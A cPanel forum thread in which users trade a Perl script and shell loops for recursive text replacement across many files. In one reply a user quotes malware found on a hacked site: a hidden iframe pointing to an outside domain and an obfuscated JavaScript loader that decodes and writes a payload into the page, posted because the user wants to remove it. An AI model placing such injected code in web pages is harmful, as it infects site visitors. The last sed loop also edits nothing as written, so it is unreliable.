Community Forums
Connect with us on LinkedIn
+ Reply to Thread
Results 1 to 11 of 11
  1. #1
    Member This forum account has been confirmed by cPanel staff to represent a vendor. Radio_Head's Avatar
    Join Date
    Feb 2002
    Posts
    2,064

    Default replacing text on files ..

    Hello

    I need to replace

    <TITLE>Cpanel NAME1</TITLE>
    with
    <TITLE>Cpanel NAME2</TITLE>

    in over 200 files on directory /myskin (ad subdirectory)


    Any idea to do that from command line ?

    (I often use replace but it's not recursive for all files and subdirectory)

    Thank you!!!
    Stop SPAM & VIRUS :: ASSP Deluxe for cPanel http://www.grscripts.com
    █ ASSP Deluxe is supported by Fritz Borgstedt,ASSP main developer.

  2. #2
    Moderator cPanel Partner NOC Badge dgbaker's Avatar
    Join Date
    Sep 2002
    Location
    Toronto, Ontario Canada
    Posts
    2,773

    Default

    Try this script it is wonderful, we use this script a lot and find it is perfect for what yiou are trying to achieve. No more remember long complicated commands. Just put the following in a file called swap in /usr/local/bin chmod 755 and call it as needed.

    [SCRIPT START]

    #!/usr/local/bin/perl

    #SWAP.PL by J.Tom Germain, tg@cgiware.com
    #September, 1996
    #Copyright 1996-2000
    #You are free to use & modify this script for your own purposes as long
    #as it includes the credit you see on line 3, and don't sell it.
    #I am not responsible for losses or injury of any kind resulting from the
    #use of this script
    #Other freeware available at http://www.cgiware.com

    #####GET ARGUMENTS
    if($#ARGV < 0){
    print "Enter string to search for:\n ";
    $search = <STDIN>;
    print "\nEnter string to replace it with:\n ";
    $replace = <STDIN>;
    print "\nEnter directory path to search:\n ";
    $dirpath = <STDIN>;
    $doit[0] = "$search^^$replace^^$dirpath";
    }
    else{
    $filename = $ARGV[0];

    if($filename !~ /\w/){
    print "You must specify a configuration file.\n";
    print "If you wish to enter parameters manually, don't put arguments.\n";
    exit(1);}

    $dirpath = $ARGV[1];

    if($filename !~ /\./){$filename .= '.rep';}
    $filename =~ s/\s//g;

    open(FIL, "<$filename") || die "Can't open $filename\n";
    @doit = <FIL>;
    close(FIL);
    }

    print "\nStarting search and replace...(Copyright 1996-2000 Tom Germain)\n";

    $count = 0;

    loopz:
    foreach $line (@doit){
    $line =~ s/(\n|\r|\t)//g;

    ($search,$replace,$newdirpath) = split(/\^\^/,$line);
    if($newdirpath ne ""){$dirpath = $newdirpath;}

    if($dirpath eq ""){$dirpath = '.';}
    $dirpath =~ s/\s//g;

    if($dirpath !~ /(\/)$/){$dirpath .= '/';}

    print "Opening $dirpath\n";
    opendir(DIR, "$dirpath") || next;
    print "Okay\n";

    @files = readdir(DIR);
    closedir(DIR);

    @files = grep(!/^(\.|\.\.)$/,@files);

    loopy:
    foreach $file (@files){

    if(!(-f "$dirpath$file")){

    if(-d "$dirpath$file"){
    $doit[$#doit + 1] = "$search^^$replace^^$dirpath$file";
    }
    next;
    }

    open(FIL,"<$dirpath$file") || next;

    @data = ();

    @data = <FIL>;
    close(FIL);

    loopx:
    if($num = grep(/$search/i,@data)){

    foreach $line (@data){
    if($line =~ s/$search/$replace/gi){$count++;}
    }

    open(FIL,">$dirpath$file") || next;
    seek(FIL,0,0);
    print FIL @data;
    close(FIL);
    } #end loopx

    } #end loopy
    } #end loopz

    print "\nDONE! Total matches replaced: $count\n";

    [SCRIPT END]
    Regards,
    David
    Forum Moderator

  3. #3
    Member This forum account has been confirmed by cPanel staff to represent a vendor. Radio_Head's Avatar
    Join Date
    Feb 2002
    Posts
    2,064

    Thumbs up

    thanks a lot !
    Stop SPAM & VIRUS :: ASSP Deluxe for cPanel http://www.grscripts.com
    █ ASSP Deluxe is supported by Fritz Borgstedt,ASSP main developer.

  4. #4
    Member PWSowner's Avatar
    Join Date
    Nov 2001
    Location
    ON, Canada
    Posts
    2,994

    Cool

    Thanks from me to. I've been "thinking" about writing a script to do that for a while.
    Mike
    WHM and cPanel Scripts (join our "Scripts Club")
    D/A Photography

  5. #5
    Moderator cPanel Partner NOC Badge dgbaker's Avatar
    Join Date
    Sep 2002
    Location
    Toronto, Ontario Canada
    Posts
    2,773

    Default

    No problem.

    Please note though that there is no "roll-back" if you screwup a search and replace there is no going back. This script also does all subdirectories so be carefull.
    Regards,
    David
    Forum Moderator

  6. #6
    Member PWSowner's Avatar
    Join Date
    Nov 2001
    Location
    ON, Canada
    Posts
    2,994

    Default

    I know. I learned that one day on my home computer doing something similar when doing multiple html page edits.

    The general rule I go by is that you need to have enough of a string to be sure it won't find what you don't want.
    Mike
    WHM and cPanel Scripts (join our "Scripts Club")
    D/A Photography

  7. #7
    Moderator cPanel Partner NOC Badge dgbaker's Avatar
    Join Date
    Sep 2002
    Location
    Toronto, Ontario Canada
    Posts
    2,773

    Default

    Actually another little trick?

    When doing this with themes.

    copy all of the files that need to be changed to a new directory, make the changes in that directory. Now you know you did not hit any other files by mistake.
    Regards,
    David
    Forum Moderator

  8. #8
    Member
    Join Date
    Jun 2005
    Posts
    103

    Default

    I tried the script to check and replace code placed by hackers but got error.

    Malformed UTF-8 character (overflow at 0xd4ec96f3c2f3b70e, byte 0xa6, after start byte 0xbf) in pattern match (m//) at /usr/local/bin/swap line 84.

    The code that I want to delete is (by just hit enter and also tried space)

    <!--iframe width=1 height=1 border=0 frameborder=0 src='http://trustdotnet.com/nnews/index.php' style='display:none;'></iframe-->

    and

    <!-- ~ --><script language=JavaScript>function dc(x){var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,19,18,17,33,6,52,2,50,42,0,0,0,0,0,0,57,34,41,60,54,43,10,40,36,26,7,61,9,24,62,44,1,23,35,20,4,0,45,31,11,30,5,0,0,0,0,21,0,37,16,51,49,25,8,32,27,12,46,47,58,48,14,38,22,39,13,15,55,56,3,59,29,28,53);for(j=Math.ceil(l/b);j>0;j--){r='';for(i=Math.min(l,b);i>0;i--,l--){w|=(t[x.charCodeAt(p++)-48])<<s;if(s){r+=String.fromCharCode(165^w&255);w>>=8;s-=2}else{s=6}}document.write(r)}}dc("ZoLcvWrdfvy42cym3tioSpMcUcOmrJroSpudFWxmUWro_pumQ1i8UWO8QJimQReaZIKz5RBgrJx6_0BAFFrmJve6QvVz3kGdFROAXkim2hVAikymUtKA_tyz7pGz3cx8URBgPcOz_qidy0@8FkimYFuoe9fcvWrdfvCo")</script><!-- ~ -->

  9. #9
    Member
    Join Date
    Mar 2006
    Posts
    1,215

    Default

    Quote Originally Posted by dgbaker View Post
    Actually another little trick?

    When doing this with themes.

    copy all of the files that need to be changed to a new directory, make the changes in that directory. Now you know you did not hit any other files by mistake.
    I use that technique all the time as well as packing a backup before hand.

    good stuff and thanks for the script. Ill have to give it a whirl soon..

    cheers

  10. #10
    Member
    Join Date
    Feb 2006
    Posts
    19

    Default

    you can also use this much shorted script ..

    cd /yourfolder to replace in
    for fl in *.ini; do
    mv $fl $fl.old
    sed 's/search/replace/g' $fl.old > $fl
    done

    This will replace the word search , with the word replace , in all ini files , and create a backup file called filename.old .

  11. #11
    Member Murtaza_t's Avatar
    Join Date
    Jan 2005
    Location
    Earth
    Posts
    471

    Default

    Quote Originally Posted by kevinm View Post
    you can also use this much shorted script ..

    cd /yourfolder to replace in
    for fl in *.ini; do
    mv $fl $fl.old
    sed 's/search/replace/g' $fl.old > $fl
    done

    This will replace the word search , with the word replace , in all ini files , and create a backup file called filename.old .
    I don't think that it will create any backups, but this should:

    cd /yourfolder to replace in
    for fl in *.ini; do
    cp -af $fl $fl.old
    sed 's/search/replace/g' $fl;
    done


    I would also like to remind every one here that the script by dgbaker was posted in 2003, bash is much more advance now and there are better ways to replace things..

Similar Threads & Tags
Similar threads

  1. Cpanel Issue -- Huge Text for the Text Editor
    By buckshot101 in forum cPanel and WHM Discussions
    Replies: 8
    Last Post: 07-15-2011, 09:38 AM
  2. ability to visually compare two selected text files in File Manager
    By mailint in forum Feature Requests for cPanel/WHM
    Replies: 1
    Last Post: 11-04-2010, 04:05 PM
  3. Search Text in files via SSH
    By Tymsah in forum cPanel and WHM Discussions
    Replies: 3
    Last Post: 08-13-2008, 09:10 PM
  4. Replacing files in Multiple accounts?
    By TitaniumHosting in forum cPanel and WHM Discussions
    Replies: 3
    Last Post: 02-20-2005, 03:28 PM
  5. How to replace text within 600+ files.
    By nat in forum cPanel and WHM Discussions
    Replies: 6
    Last Post: 08-01-2004, 03:42 PM
Linkedin       Facebook       Twitter       RSS       Flickr       YouTube